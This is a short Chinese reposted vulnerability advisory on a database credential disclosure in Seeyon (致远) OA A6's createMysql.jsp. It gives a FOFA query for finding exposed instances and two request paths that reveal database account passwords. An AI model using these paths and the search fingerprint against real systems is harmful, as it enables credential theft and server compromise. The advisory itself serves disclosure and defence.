致远OA A6 createMysql.jsp 数据库敏感信息泄露

本文转载于公众号：融云攻防实验室，原文地址：

0x01 阅读须知

0x02 漏洞描述

致远OA办公自动化软件，用于OA办公自动化软件的开发销售。2010年，用友致远更名为致远协创。2017年更名为致远互联。北京致远互联软件股份有限公司（简称：致远互联）成立于2002年3月，总部设立在北京，是一家集协同办公产品的设计、研发、销售及服务为一体的企业。致远OA A6-m等业务系统createMysql.jsp处存在数据库敏感信息泄露，攻击者可以通过得到的数据库账户密码进入数据库进一步攻击，导致服务器失陷。

0x03 漏洞复现

fofa：app=”致远互联-OA”

1.执行POC查询用户名，得到数据库账户密码

/yyo a/createMysql.jsp
/yyo a/ext/createMysql.jsp